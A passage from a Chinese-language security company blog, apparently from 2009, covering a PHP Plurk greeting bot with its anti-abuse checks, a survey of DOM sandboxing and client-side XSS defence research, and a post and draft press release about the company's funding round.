$fh = fopen($filename, 'a');
$logstr= "[".$value->full_name."] [".$value->nick_name."] [".$value->display_name."] [".$id."] [".date("Y-m-d H:i:s")."]\n";
fwrite($fh, $logstr);
fclose($fh);
$fh = fopen($filename2, 'a');
$logstr = "User ".$value->full_name." (".$value->nick_name.") or (".$value->display_name.") visited user: ".$visitedwho." on ".date("Y-m-d H:i:s").", ".$errorlog."\n";
fwrite($fh, $logstr);
fclose($fh);
}

//below from php.net examples page
function read_file($file, $lines)
{
$handle = fopen($file, "r");
$linecounter = $lines;
$pos = -2;
$beginning = false;
$text = array();
while ($linecounter > 0) {
$t = " ";
while ($t != "\n") {
if(fseek($handle, $pos, SEEK_END) == -1) {
$beginning = true;
break;
}
$t = fgetc($handle);
$pos --;
}
$linecounter --;
if($beginning) rewind($handle);
$text[$lines-$linecounter-1] = fgets($handle);
if($beginning) break;
}
fclose ($handle);
return $text;
}

function get_my_password($nick, &$pass) {
$accounts = parse_ini_file("log/accounts.ini");
if (array_key_exists($nick, $accounts)) {
$pass = $accounts[$nick]; return true;
} else return false;
}

?></body></html>
(程式四)

主要程式為29行至41行,基本上就是利用Plurk API發一個噗,跟訪問者打招呼。其他程式主要是防止機器人被濫用。因為這個機器人是以我的名義噗,如果只是照著「http://553lab.org/plurk/hello.php?x=[user_id][nick_name]」來發:Welcome, nick_name,那麼別人直接hello.php?x=[][I'm an idiot],發出來的噗就很好玩了。另外寫個script每一分鐘load一次hello.php,我就要一分鐘噗一次了。validate_user_then_log()含式主要就做這件事,機器人檢查:

1. referer要是www.plurk.com (22行,當然只能防君子)
2. id要跟nick對應,這是為何當出id與nick兩個參數都要傳給hello.php的原因 (65-67行)
3. 同一個id來訪,每一個小時只噗一次 (55-58行)
4. 同一個IP來訪,每一個小時只噗一次 (59-63行)

這樣除非真的有人閒到註冊一個Plurk帳號,取一個nick代表他想讓機器人噗的訊息,例如帳號是「I_am_an_idiot」,那麼機器人就會噗:「Hello, @I_am_an_idiot!」。不會有人那麼有閒吧?結果就真的發生了 XDDDDDD

程式很快寫好了,自己玩了一下,確定可以work。發現我的PHP已經生鏽了,但是還是立刻email給Plurk。過了一天,Plurk修正了。是不是真的修對了?還沒時間仔細看,不過至少以上攻擊不會成功了。就這樣機器人就擺著沒動,我也忙別的去了。

星期六晚上,看到朋友留的msn,說我的plurk一直跟「XSS」打招呼,趕快上去看了一下:

咦,我的噗浪頁面人氣幾乎都是零,怎麼這個XSS對我那麼有興趣?忙完事情又過了幾個小時,回來一看,XSS註冊了一個I_know_Armorize_sucks,嗯嗯,好好...看一下XSS這個帳號,沒朋友,看不出是誰,這麼神秘,怎麼查呢...

其實不用啦,圈子就這麼點大,跟我一樣無聊,週末不出去玩掛在網路上,半夜不睡覺來我的噗浪,然後還很有閒註冊這樣的噗浪帳號...ao大與px大,你們好啊,歡迎大駕光臨~~ 不要把我的bot玩壞了 :)

[以DOM為基礎之沙盒]

當初測試完這個預存式XSS,腦袋就停不下來一直想DOM sandboxing,以及今年Robert Morris帶學生做的一篇論文:「Privacy-Preserving Browser-Side Scripting With BFlow」(Paper投影片),今年四月發表於EuroSys'09(德國)。Robert Morris(rtm)的父親Robbert "Bob" Morris是美國國家安全局「國家電腦安全中心」之首席科學家。rtm於Cornell讀研究所時,釋放了Morris蠕蟲(Morris worm),為最早的蠕蟲之一,造成Internet癱瘓,他父親差點因此而丟了工作,當然rtm本身也被起訴,最後罰了一些錢以及社會服務。有趣的是,當時rtm是由MIT(麻省理工學院)而非自己就讀的Cornell網路來釋放蠕蟲,試圖混淆追中,而他目前則是MIT的教授,此篇論文是他帶學生在MIT做的。

從(程式二)中我們可以看到,Plurk是利用javascript動態地產生一個「link」元件,然後將role利用「rel」指定成「stylesheet」,將mime-type利用「type」設定成「text/css」,最後將css來源用「href」設定好,使用者的個人css就這樣被動態載入了。用javascript動態產生DOM元素的方法很多,譬如很多人喜歡用最簡單的doument.write()方式,但是用document.write(),就像是把字串連起來組成一個SQL指令一樣,沒有參數化的概念,即使有過濾,仍有風險。以資安的角度來看,Plurk的方式則含有參數化的概念,為較佳的建構方式。

可是我們仔細想想,Plurk用javascript建構此「link」元件時,就已經可以確定該元件不可以在css中接受expression或執行javascript。如果W3C的HTML Working GroupWHATWG讓HTML規格有支援(或瀏覽器開發團隊直接讓瀏覽器有支援)DOM sandboxing,那麼就可以很容易降低XSS的風險了。譬如我們可以簡單想像一下:

1. 每一個DOM元素都有一個attribute叫做「sandbox」,裡頭可以設多重限制,利用空白隔開,例如:

<link sandbox="disable_javascript" rel="..."...>

表示這個「link」元素不可以執行javascript,或甚至:

<script sandbox="disable_cookie_access">
... javascript code...
</script>

表示這段javascript不准許存取cookies。

2. 「sandbox」attribute,可以被javascript設定,但是每次設定只能增加限制,而不能放寬限制。

3. 子元素直接繼承母元素之「sandbox」attribute,並根據(2),只能增加限制而不能檢少限制。

以上是我很快「想像一下」來的DOM sandboxing,不過大概就是這種概念。如果有這種支援,那麼Plurk可以將程式改成:

B = document.createElement("link");
B.setAttribute("sandbox", "disable_javascript");
B.setAttribute("rel", "stylesheet");
B.setAttribute("type", "text/css");
B.setAttribute("href", User_Supplied_Data);
document.getElementsByTagName("head")[0].appendChild(B);
(程式五)

這樣子的話,即使後端程式沒有過濾好,瀏覽器也將提供某種程度的XSS防禦。

DOM sandboxing一直有被提出,但是記憶中開始比較多人講,應該是2007年。學界中做Web研究,最好的會議之一是WWW,為ACM與W3C合辦,每年5月舉行(我們於'03與'04投上過兩次,兩次都被提名當年最佳論文)。WWW 2007有一篇令我印象深刻,馬大與AT&T合作的:「Defeating Script Injection Attacks with Browser Enforced Embedded Policies」,或稱BEEP(計畫網頁paper投影片)。BEEP提出了一個javascript hook的概念,利用javascript hook來檢查合法與非法的javascript,並決定何者可以執行。此模型並不漂亮,用javascript hook來描述表達一個網頁的安全模型,太過繁瑣,等於把很多工作加諸於Web程式設計師,這樣不但難用,風險也大。另外,此作法必須修改瀏覽器。雖然有這些缺點,BEEP卻是很早就提出DOM sandboxing概念,故有其參考性。

2007年我記得的另一篇,是Benjamin Livshits於2007年6月PLAS'07發表的「Using Web Application Construction Frameworks to Protect Against Code Injection Attacks」。Livshits是Stanford大學Monica Lam的博士班學生,拿到博士後加入微軟研究院。預存式提出的DOM sandboxing概念,在實做上可以利用修改既有的前端ajax framework來達成,而不需要修改瀏覽器;在實做上,Livshits是修改了dojo toolkit來示範。Livshits提的原理很簡單,延續javascript的相同來源政策(same origin policy),對於每一個DOM元素多定義一個attribute:「pricipal」,只有相同principal的元素才能彼此存取。這樣的sandboxing很好用,譬如可以定義網頁的廣告區不能存取其他區域以及cookie,但是缺點是描述表達能力有限。

以上這兩篇發表日期很接近,也都是很好的會議,算是2007年這方面研究的代表。兩篇都有引述我們於WWW 2004發表的源碼檢測技術WebSSARI,Livshits提到用源碼檢測來找出Web應用程式漏洞時,引述WebSSARI說:「The WebSSARI project pioneered this line of research(WebSSARI計畫開創出了這一系列的研究)」。最近很多競爭對手抹黑我們是:「不知哪裡冒出來的一群hackers」。對,我們是hackers沒錯,但是我們不是出師無門的hackers :)

另外2007年時當然不是只有學界在談 DOM sandboxing。其實2007年5月時,WHATWG的list上就已經蠻多關於DOM sandboxing的討論,RSnake就於也在8月時於其blog上寫了一篇:「Content Restrictions - A Call For Input」,徵求大家對於DOM sandboxing的意見,也引來廣泛的討論。

經過了兩年,回頭來看今年Robert Morris的「Privacy-Preserving Browser-Side Scripting With BFlow」(Paper投影片),可以發現這方面研究進步了不少。BFlow的安全模型,是由瀏覽器動態地控管資料的流動,來避免資料被不當的取得。現在很多網頁都允許widget,這個模型就很適合,以下我們以Blogger為例。阿碼的blog就是放在Blogger上。Blogger允許在頁面上加入來自其他網站的widget,而BFlow的模型就可以限制這些widget對於資料的存取。例如以下,BFlow動態追蹤不同DOM元素間資料的存取與交換,如果一個外部widget沒有存取到被定義為機密的資料,那麼允許往外部網站發request(例如img),反之,則限制所有發出的request只能發給機密資料所屬的網站。


BFlow是由後端的網站程式對於每一份資料加註一個tag來定義其安全限制。如果兩個擁有不同tag的資料在client端被結合在一起呢?BFlow與WebSSARI一樣,採用1976年由Denning-Denning定義的lattice model,來決定結合後的新安全限制。

從剛才談到現在,我們自己提出了(程式五),也談了Livshits、BEEP以及Morris的解法。有趣的是,這四種解法,主旨都不在「過濾」或「偵測」惡意的字串,而在「限制」非法程式能執行的範圍。在以上四個例子中,惡意字串都還是會被插入合法程式中,或甚至被當成javascript執行,只是其範圍被限制住了,不能達成最終的目的,例如偷竊機密資料等行為。例如在(程式五)中,我們並沒有去判斷User_Supplied_Data所帶來的字串,是否含有惡意攻擊內容,我們只是利用程式模型配合參數化概念,限制了該DOM元素執行javascript之能力。(程式五)的解法看似漂亮,但是如果程式設計師的寫法是利用document.write()這種不帶任何參數化的概念來動態產生DOM元素,那麼又可以如何在client端避免XSS呢?今年2月的NDSS會議有兩個有趣的研究:Yacin提出的Document Structure Integrity: A Robust Basis for Cross-site Scripting Defense以及Gundy提出的「Noncespaces: Using Randomization to Enforce Information Flow Tracking and Thwart XSS Attacks」。Yacin提出的DSI(document structure integrity)其主要的概念是,先由後端伺服器程式決定DOM的合法動態與靜態結構,那麼在client端執行時,如果發現DOM結構不符合定義,就可以假設DOM結構被惡意破壞或惡意竄改了(ex: document.write()中含有tag <script>),而禁止執行。Gundy提出的Nonspaces,其實基本概念差不多,只是實做上不同,randomization的方式也不同--Nonspaces用xml namespaces,而DSI用randomized delimeters。

都是有創意的解法,而且一個會議竟然兩篇這麼相似,表示大家想法其實都差不多。看來蠻猛的嗎?概念不錯,但是很快都被破解了。上個月的Web 2.0 Security AND Privacy(W2SP)2009會議上,來自希臘的Athanasopoulos團隊發表了一篇:「Code Injection Attacks in Browsers Supporting Policies」,對上述的DSI、Noncespaces,連帶BEEP,都提出了具體破解的方法。Anthanasopoulos認為DOM沙盒之不可行,在於目前一個大型的網站中,DOM元素過多,要一一定義,並不容易,在執行面也有困難。他們提出的方法是將動態所產生的javascript做區隔,並限制其行為。該團隊目前正著手將其概念實做於firefox瀏覽器上。

討論了這麼多DOM沙盒與瀏覽器上之XSS預防,如果沒有講到最近Brendan Eich(Mozilla CTO)的演講,那就太可惜了。上個月的W2SP會議是由Eich開場的,題目是:「Improving JavaScript's Default Security Model Without Breaking the Web」(講義)。除了列出目前javascript安全的挑戰外,Brendan也概述了目前Mozilla對於這方面的努力--包含動態tainting方面的研究(困難點之一為如何讓保持interpreter的速度)。Brendan也提及了Mozilla在這方面的一個新計畫:FlowSafe,為Mozilla與Cormac Flanagan以及Michael Franz合作的計畫。咦?Flanagan?沒錯。Flanagan算是學界在靜態分析、源碼檢測與tainting分析上有名前輩(Java靜態分析工具ESC/Java就是他做的),這個計畫應該能有很實際的影響力。雖然Brendan在演講中並沒有特別提,但是會議後不久,他的同事Brandon Sterne,也就是Mozilla的Security Program Manager,寫了一篇blog「Shutting Down XSS with Content Security Policy」,介紹Mozilla的CSP計畫。

CSP採白名單方式,可以讓網站定義出合法的javascript有哪些,沒有在定義內的則視為非法。CSP在使用時,要求一個網頁所有的javascript都來自外部(<script src="">),而不可內嵌。由於所有javascript都來自外部,網站管理者就可以定義合法的來源,而瀏覽器會將其他來源視為非法。雖然這種要求與目前大部分人寫javascript的習慣大易其趣,但不論從FlowSafe或CSP中,都可以看出Mozilla在對付XSS上的努力。

縱深防禦(layered security)」是一個有用的概念,資源許可下的多層防禦絕對有其投資報酬。談了這麼多client端對付XSS的方法,都只是補強程式設計者本身犯的錯誤。能在伺服器端就修掉的XSS漏洞,或能夠在程式中就直接避免的,應儘量先修掉。Client端的種種防禦技術,可以用來補強,或者在無法直接從後端修補的情況下採用。在我們許多大型網站的導入經驗中,漏洞的修復往往是整個專案中最複雜的部分之一。已經運行多時的既有系統,在找出漏洞後,往往面臨種種因素,而無法直接、直覺或用標準方式來修復。Web資安之難,在於攻擊變化之多;漏洞修補之美,亦於方法選擇之多。如何能夠最有效率並以最低成本幫對方把漏洞修復,不斷考驗著資安團隊的經驗與知識。

作者Wayne為阿碼科技一員
系列第一篇:(本篇)誰在看我的噗?第一回:DOM沙盒 vs 跨網站腳本漏洞(XSS)
系列第二篇:誰在看我的噗?第二回:IE執行模式 vs 跨網站腳本漏洞(XSS)
系列第三篇:誰在看我的噗?第三回:弔詭的過濾函式
系列第四篇:誰在看我的噗?第四回:我噗誰在看!
繼續閱讀全文...

2009年6月18日

[No Tech] Skype創辦團隊投資阿碼科技


今天阿碼的新聞在twitter上滿天飛--Skype創辦團隊投資阿碼,阿碼完成了第二次增資。最感謝的還是這麼多我們的客戶。你們的支持,給了我們無比的動力與信心;你們的建議,讓我們能不斷改進我們的產品與服務;你們每天使用我們的產品,讓我們感覺有用不完的精力,不斷改良、創新、往前衝;你們對我們的質疑,讓我們更了解自己的不足;與你們不斷互動的程,就是我們成長的心路。這次增資,好多人願意出來跟創投談你們的使用經驗,為我們背書。謝謝你們!我們會不斷地提升我們產品與服務的品質,來回報各位!

這次增資主要是為了加速拓展阿碼的國際業務,參與的投資人有阿碼既有投資人(美國為主)、Skype創辦團隊創投 Ambient Sound Investments(歐)、還有Birch Venture Capital(台灣)。下個月我們就將有來自歐洲非常資深的同事遷居台灣並加入我們,我們並將持續找尋技術與業務人才。

阿碼新聞稿:Armorize Technologies Secures Up-Round Series-B Financing
Skype創辦技術團隊之創投公司ASI新聞稿:Armorize Technologies Secures Financing For Worldwide Business Development
TechCrunch(全球最受歡迎科技部落格)報導:Armorize Lands More Funding For Web App Security Technology
更多新聞:路透社Yahoo Finance道瓊USA TodayTech Startups

[創業過的投資人]

Skype在wikipedia上的定義中說:「Skype是由愛沙尼亞的工程師Ahti HeinlaPriit KasesaluJaan Tallinn所寫的」("Skype was written by Estonia-based developers Ahti Heinla, Priit Kasesalu and Jaan Tallinn")。其實這三位的的leader,是Toivo Annus,也是愛沙尼亞人。這四位以當初eBay併購Skype時他們所賺的錢,成立了Ambient Sound Investments,為創投公司,專門投資以技術為核心的新創公司。目前除了Toivo離開Skype外,其他三位仍在Skype擔任重要工作。

對於阿碼來說,ASI是難得的好投資人,因為ASI是由軟體創業家所成立的創投公司,帶給阿碼的,絕不僅是資金上的幫助而已。就如我們董事長Jim Sha,也是軟體界的創業前輩,一路走來我們跟他學到太多了。認識ASI,是資策會中負責「Connect Taiwan」與「Bridge Program」的Camilliam Lin一手促成的,在這邊我們非常感謝資策會許許多多幫助過我們的長官;不論是技服中心各位長官在資安技術與管理面的各種指導,或是產支處在產業面的協助推動,或我們辦公室所在的--資策會創研所的南軟育成中心--所辦的種種活動,阿碼都受益良多,謝謝你們!同時也謝謝AirDio(ASI投資的第一個台灣公司)的CEO Wen所給的各種幫忙。

幾個月前Toivo來台北看我們公司,才跟他聊半小時,我當時就打定主意,這家創投是很好的創投,他們的錢我們希望拿。Toivo穿著牛仔夾克,牛仔褲,與布鞋,有些偭腆,有些嚴肅,但是對技術、產品與公司營運的敏銳度非常的高,問題直接又快速,回答一句,得到他想要的答案,立刻問下個問題,一句多的話都沒有。聊了十分鐘,我發現他開始喜歡我們了,話題也多了。Toivo說他對資安不是非常專精,但是分享了一些他在Skype其間遇到的資安問題,大部分都是與路徑有關,也讓我增加了見聞。看到我們公司這麼多年輕的工程師,也很多歐洲人,「聘人很辛苦吧?Skype的前面兩百多個工程師,都是我自己面試挑選的,」他得意的說。「你們都如何面試工程師的?」真是好問題,我正要回答時,沒想到一旁的德籍工頭Chris搶著說了許多他的經驗,也讓Toivo頻頻點頭。

新創公司聘人,很難,好的人才不容易找。也許我們在資安圈蠻有名的,可是公司不僅需要資安人才,還需要很多的軟體工程師跟其他各種人才。小公司,沒有名,我們公司的工程師大家實力都好,學歷也好,大可以去半導體大廠,或大的外商,為何要來「阿碼」?阿碼是什麼公司?阿媽開的嗎?對於父母來說,也是頭大的問題,我的小孩書念了這麼久,明明就可以去大半導體廠,鴻海、宏碁、聯電、台積電、宏達電、Google、微軟、IBM,講起來多好聽,現在選擇去「阿碼」,每次碰到鄰居與親戚朋友,就要說我小孩在「阿碼」...「阿碼」是什麼公司?

對外國同事也很難。突然之間,孩子說要搬到台灣去加入創業團隊。台灣在哪裡?沒去過。會不會有戰爭?不知道。會不會以後媳婦是黑頭髮的台灣人?很有可能。多久可以回家一次?國內這麼多好的公司,一定要去台灣嗎?...

但是如果會運用,創業團隊也有其無比的優勢。公司不大,大家都很重要,接觸得多,學得也多。公司沒有太多政治問題,做起事來很快,靈感,創意,想法,都很容易發揮;大家都是公司重要的一份子,公司怎麼走,就看大家要公司怎麼走,大家自己做決定,自己負責,時間花在創意,創新,研發,挑戰,而不用花在政治與官僚,這對很多實力好的人才來說,會具有很高的吸引力,不用再被惡劣的老闆管,不用再擔心背後挨刀,不用再為了理想被埋沒而痛苦,不用每做一件事都要考慮那麼多政治因素,可以放手去發揮,大家一起打拼,這些對人才來說,會比什麼都來得有吸引力!

聊得很愉快,一下子時間過了,會議要結束了,但是我們也確定,ASI如果投資,會帶給我們很多其他方面的幫助;他們成立Skype並一路把公司做得這麼好,我們遇到的許多挑戰,他們都遇過了,可以給我們許多幫助。創業家作投資人,跟純金融的投資人,會很不一樣。公司創立的艱苦過程,他們都經歷過,在各方面不但能提供很好的經驗,對於許多困難也很能夠體會,把自己當作團隊的一份子,而不是劃清界限,他們是投資人,你們是團隊。事實上,阿碼第一次募資時的投資人,也大部分是創業家,從我們董事長沙正治先生(Jim),到邱俊邦先生與翁家盛先生,到New Venture Club的Tim Koogle(Yahoo!前CEO與目前副董事長),Dennis Coleman(賽門鐵克創辦人),Bill Coleman(BEA Systems創辦人與前董事長兼CEO),Mike Markula(Apple前CEO與第一位投資人)等,都是當過創業家的投資人。其中團隊最感謝的,還是董事長,因為董事長最肯花時間與我們互動,現在想起來,大大小小事情都找他討論,他那時一定覺得我們很煩,花他很多時間。阿碼公司文化,很多都是他直接影響而建立的。

ASI審一個案子,異常的仔細,公司幾乎所有文件都要翻過一次,檢查了又檢查,財報當然更是不用說。在技術的審查上,Toivo與Ahti自己跳下來玩我們的產品,了解我們跟對手的差別。一天晚上九點半,我在大潤發買東西,手機響了,接起來,原來是Ahti,Ahti說他看完我們的產品有問題要問我,我說好,可否過20分鐘?他說直接問就好,很快。於是在我買完結帳的過程中,回答完他所有的問題,Ahti人很好,做事也很快,那通電話完,我感覺他們會投資,而且會是很好的投資人。電話快結束時我跟Ahti說,不論他有沒有投資,我都很高興有機會跟他們認識。Skype就是他們幾個創出來的,卻改變了大家的生活,尤其愛沙尼亞就像台灣一樣,並不是很大一個地方,卻能做出國際級的軟體,我對他們有很多respect。

[長期的互信關係]

有時,投資人跟團隊的關係,如果不要太計較眼前的利益,往往可以走得很長久,達到雙營的局面。這次增資的投資人還包過Birch Venture Capital,是一家由吳廣義先生(Max)與黃家哲先生(Terry)所創立的創投公司。Max看我們,看了四年了。我們第一次募資時,先去找他,也就是他介紹我們認識董事長Jim的。我永遠記得,當我們決定第一次募資只邀請創業家天使投資人時,團隊中緊張的氣氛。該如何跟Max說,先不邀請他們呢?Jim就是他介紹的,這真的說不過去,但是還是要面對。於是幾個人鼓起勇氣,在Max的會議室中,低著頭把我們的想法表達了,為何我們覺得第一次先只邀請個人投資人,雖然這些人很多都是Max介紹我們認識的。說不緊張是騙人的,Max說他不會生氣,我們也知道是客氣話。如果Max願意自己投資,那我們當然會很高興,但是那時Max代表的是創投公司,而我們只想找個人投資。

公司做了幾年,非常成功,等到要第二次增資時,我們直接想到的,就是Max。事隔三年多,大家又見面了,結果我們發現Max不但不怪我們了,還完整記得我們三年前報告的資料,對我們產業也很了解,讓我們好不驚訝。我們說,三年多了,我們當時宣稱可以做到的,也都做到了,如果Max還願意支持我們,那我們覺得現在是邀請創投的時機了。就這樣,Max現在也是我們的董事了。Max之前在宏碁服務了超過20年,並於1993至2000年擔任宏碁美國的president,實務經驗非常多,在這陣子的互動中,我們已經跟他學了不少。Terry也幫我們建立了更好的制度,讓我們會往後的成長,做好了充足準備。

投資人與團隊之間,當然利益不全然一樣,但是如果雙方不要太過計較,可以走很長的路。

[開放源碼與成立公司]

為何成立阿碼,沒有選擇開放源碼?這個問題很多人問。我們那時的研究成果很好,而且大家一起工作做得很愉快,也有很好的感情。但是如果要繼續一起工作,必須要有個辦法。另一方面,我們的技術領先對手很多,並且不容易被追上,對於產品化,我們很有信心。其實是前一個理由比較重要。大家要過生活,還是要賺錢。如果我們都有存款可以生活,我們會自己做自己想做的事,軟體也會是開放源碼的,讓大家來免費使用。當然有一天我們存夠錢了,這種生活就能實現。但是目前,生活是現實的,大家雖然感情很好,但是總不能沒飯吃,要一起能繼續走下去,必須成立公司,建立穩定的商業模式。很多人覺得我是工作與興趣結合,其實我是分開的。如果單純興趣,我一樣會做資安研究,但是會以開放源碼為主,並且不需有很多商業上的考量(例如很多技術都不公開等等)。既然是工作,穩定的獲利就是非常重要的目標之一,尤其公司這麼大,我們對於公司的同事,他們的家人,我們的投資人,甚至以後出來募資的年輕人,都有責任;大家都有家庭父母小孩要照顧。長久來說,存夠錢後,能夠更專注於自己愛做的事情,擺脫商業的考量,做自己喜歡的研究(不一定是Web資安),是我們一直的夢想,但是以目前來說,把公司做好,把客戶照顧好,獲利穩定,成長快速,是我們最重要的目標。

我記得四年前,Chris辭掉微軟的工作,搬來台灣,就住在公司旁邊,Walter也搬過來,住他樓上。有天他自己做了晚餐,請我們去,我吃素,大家跟我吃,Chris本來也不喝酒。我們拿起飲料乾杯時,心裡感受很難形容。大家一路這麼要好,也出生入死那麼多次,但是真的現在Chris德國工作辭了,房子退了,Matt美國Atheros工作辭了,Walter / Benson也都辭了工作--好大的壓力,以前沒感覺過--我們真能成功嗎?我會不會對不起大家?想到以前,出論文都感覺在賭命,第一篇投稿的那晚,好幾天沒睡了,Walter打來,Wayne,數據都做好了,但是我剛才去廁所完,發現身體出狀況,我現在去醫院。之後就聯絡不到了,手機家裡都沒人接。嚇死了,第二天早上打給他父親,麻煩他去Walter房間看看。結果他說Walter沒事,睡死了而已。第二年,也是投稿前幾天,Walter人在美國出差,半夜幫我做,太累個感冒,沒空去醫院,自己買了藥吃。終於準備投稿了,Walter打來,Wayne,資料都沒問題,確認過了,但是我有問題,藥吃太多,心臟亂跳,我打911,他們到了,說必須送去醫院,先這樣。

其他太多講不完了,現在的團隊真的很好,延續了我們一向的文化,大家一起努力,感覺很棒。雖然每一次release,每一個新功能都那麼的辛苦,每一次出差也沒輕鬆過,但是我們成績一直出來,謝謝各位的努力,我們一起繼續加油!
(左:OWASP 2007於eBay,隔天要展示但是機器坐飛機後壞掉了,修了整個晚上,Kuon抱著電腦睡著了)
(右:RSA 2009於舊金山,兩年後了,還是一樣,我才把行李放好,客廳就變成行動辦公室了)

[團隊的努力]

最後要感謝的,是每天為阿碼一起打拼的同事們--大家真的太辛苦了!但是我們的辛苦,獲得了投資人的肯定,在金融風暴後,資安乾枯,創業公司接二連三倒閉,大公司不斷裁員的情況下,這次我們不但成功完成增資,有來自美國、歐洲與亞洲的創投參與,更是一次 up round,股價獲得了實質的增加,這是對各位最實際的肯定。阿碼成立到現在快四年了,只有過一位助理因個人因素主動離開,謝謝你們對公司的信心,以及對這個工作環境的肯定。你們有些人,早在阿碼之前,早在我們都還是學生時,就跟我一起工作,大家已經出生入死很多次了;謝謝你們一路跟我一起努力,這中間的血淚與磨練,是我最珍惜的經驗;有些人離鄉背井,離開家人與朋友,來到陌生的台灣,住在公司旁邊,只因為我堅持技術留在台灣;你們忙得連重要假日也沒法回家,變成你們父母從世界各地來台灣看你們,算一算已經有六對父母來台灣探望了,每次看到假日你們都在公司,雖然你們說反正沒地方去,但是我心裡都覺得很內咎;有些人放棄了大公司,出過唸書機會,甚至是主編,是CEO,也就這樣放棄了,來到阿碼扛起責任,我有時想想不知你們如何做到的;有些人本身也是創業家,帶著公司與阿碼合併,努力地讓我們產品線更豐富。你們大家都是我心目中的英雄,謝謝你們,跟你們工作,也讓我學到很多。出生入死,有血有淚,但是每天都很愉快,謝謝你們的努力!

我們既有的投資人,尤其是董事長,一路花了非常多的時間帶領我們,這次增資也義不容辭的支持我們,團隊裡所有的人,都會永遠記得的。金融風暴後,大部分要增資的新創公司,根本找不到資金,更不用期待股價之上漲(up round)。可是這次與董事長的互動,就如當時第一次增資時一樣,沒有多少話,就談完了條件,股價的增加,是董事長自己提的,一句話,口頭的承諾,整個過程就沒有再變過,在投資圈裡頭,這簡直不可思議。但是你們的決定是對的,因為團隊都知道我們擁有最好的投資人,我們感謝各投資人的支持,而也絕對不會讓各位失望的。

[台灣的資安產業]

Skype的大部分程式,是愛沙尼亞的工程師們寫出來的,經過資策會的安排,ASI也遠從愛沙尼亞投資了阿碼。根據新搜尋引擎WolframAlpha,兩地的面積不會差很多,台灣有兩千三百萬人,愛沙尼亞投有一百三十萬人。台灣雖然小,但是我們有許多國際知名的品牌,譬如宏碁,華碩,鴻海,台達電,聯電,台積電,D-Link,Zyxel等等,都是我們的驕傲。可是多年前我從交大資工碩士班畢業時,真是不知該怎麼找工作。我從小就寫軟體,我想進入軟體公司,但是在台灣,似乎很少。硬體畢竟算是製造業,資本主義下,產業要有競爭力,為了降低成本,產業外移是必然的;美國的就業問題根源在此,台灣也將面臨同樣的問題。當我們生活一直提升的同時,工資也必然提升,要一直保持在製造方面的競爭力,談何容易。

產業外移不見得是問題,只要一直能找到新的東西做就好。美國矽谷很早就不做製造了,但是他們開發了軟體產業。現在矽谷紅的公司,Google、微軟、Apple、eBay、Amazon、Salesforce、Facebook,這些都是軟體公司。IBM賣掉了筆電與其他事業體,成功由硬體公司轉型成軟體與服務的公司,HP也一直在努力。台灣能有這麼好的硬體品牌,也有好的軟體人才,沒有理由不能有好的軟體產業。軟體產業不像硬體,需要龐大的成本,要建廠房,要物料,要庫存;軟體只需要建立良好的公司文化與環境,把優秀並對軟體有熱忱的人才聚集在一起,就快成功一半了。

去年去RSA,印象深刻的是德國館,德國政府出錢,帶所有廠商來美國參展;今年德國從一個館擴展成三館,新加坡也第一次做了新加坡館。以色列也不大,但是資安產業做得有聲有色,美國客戶對於境外的資安產品都比較保留,但唯獨以色列產品例外。愛沙尼亞的人口只有我們二十分之一,但是可以做出像Skype這麼成功的軟體公司,為何我們不能?

因為我們全球經銷伙伴多,消息比較靈通,最近一個趨勢,發覺越來越多伙伴代理了韓國的產品,不論是軟體工具,或資料庫,或資安產品,感覺韓國已經走出來了,過不久,可能會有品牌像LG、Samsung一樣成功。希望經濟部以及台灣其他長官,能夠更支持台灣的軟體產業。曾經跟一些長官也有機會聊了不少,但是感覺對於我們的資安產業能打出國際品牌方面,都還是比較保留。這不是能不能的問題,我們其實已經做到了。趨勢科技就是台灣的公司,但是是全球前幾大的資安廠商。台灣還有阿碼威播精品中華數位中華龍網居易,都是外銷成功的廠商。

軟體產業靠的是腦力,不是靠勞力,污染低,低成本,根本不需要多大的資本額(房租,薪水,電腦,能花多少錢?),只要有人才,就能創造出好的產品,別人要追上也不容易。希望政府能對這個產業更有信心些!


(新加坡今年第一次有國家館:「Infocomm Singapore Pavilian」)


(德國今年RSA有三個館,標語「IT Security Made in Germany」令人印象深刻)

作者 Wayne 為阿碼科技一員

[新聞稿]

以下是新聞稿草稿,團隊還沒正式發出:

Armorize Technologies(阿碼科技)完成股權增值融資案
2009.06.16 美國矽谷 聖克拉拉市

所得的資金將會運用在全球商務的拓展上

網站應用程式安全領導廠商Armorize Technologies已完成最新的股權增值融資案,其中最重要的投資者包括總部設在歐洲由研發Skype的工程團隊所組成的創投公司Ambient Sound Investments(ASI),以亞太為基礎的旭樺管理顧問股份有限公司(Birch Venture Capital),以及以沙正治先生為首有參與阿碼第一次融資的矽谷投資人,這次融資案的款項將會被用於商業研發及拓展全球業務上,部份的金額會用來投資台灣子公司,金額將會超過一億兩千萬台幣。

阿碼的技術及企業理念得到投資人強力的背書

新資金的取得證明了Armorize在網站應用程式安全技術方面具領先地位。Armorize是網頁應用程式原始碼分析的先驅者,並透過SaaS的服務來對惡意程式進行辨識及監控,”我們很高興的看到投資人以行動來對我們表示支持,我們也非常有信心,網頁應用程式帶來了很多安全方面的課題,但Armorize提供了一套先進的自動化工具來解決這方面問題。這次融資完成,代表投資人對我們的技術及企業理念的贊同。”Armorize執行長黃耀文說。

“Armorize是一群具有高度技術能量的團隊,並研發了具專利性的原始碼漏洞分析解決方案。我們相信Armorize在網頁應用程式安全方面整體的表現,將會使他們在國際市場上具領先的地位”ASI的私募股權基金主席(head of private equity investments)Margus Uudam說。

Web 2.0 驅使網站應用安全產業成長

這次的投資顯示網站應用安全將受到重視。隨著Web 2.0的發展。企業或個人在日益繁複的程式設計及開發中,使得惡意程式更容易透過網站的漏洞來攻擊,各產業已經正視到這點。而Armorize建立了完整的解決方案,能夠在系統發展生命週期(SDLC)的各個階段強化網頁應用程式的安全性

Armorize Appsec Suite 提供了完整的網站應用安全

Armorize Appsec Suite™原始碼分析、網站應用程式的防火牆、網站惡意程式即時監控,保護企業免於因網頁漏洞所造成的威脅。

CodeSecure™自行研發的編譯器可以更精確的找出網站應用程式原始碼的漏洞,CodeSecure™是一個具有Web操作介面的硬體設備,適用於企業與軟體即服務(SaaS)的部署模式。
SmartWAF™是一種可以結合CodeSecure™源碼檢測結果快速「修補」網站弱點的主機型網頁應用程式防火牆

HackAlert™提供7x24網頁掛馬的監控服務,可提供全天候的掃描及預警,HackAlert™可以確保客戶網站免受惡意程式的威脅。

自從Armorize成立之後,快速的成長並且在全球各領域迅速累積客群,包括網際網路、政府及金融體系等各產業。

關於Armorize Technologies

Armorize是專注於網站應用程式安全的公司。

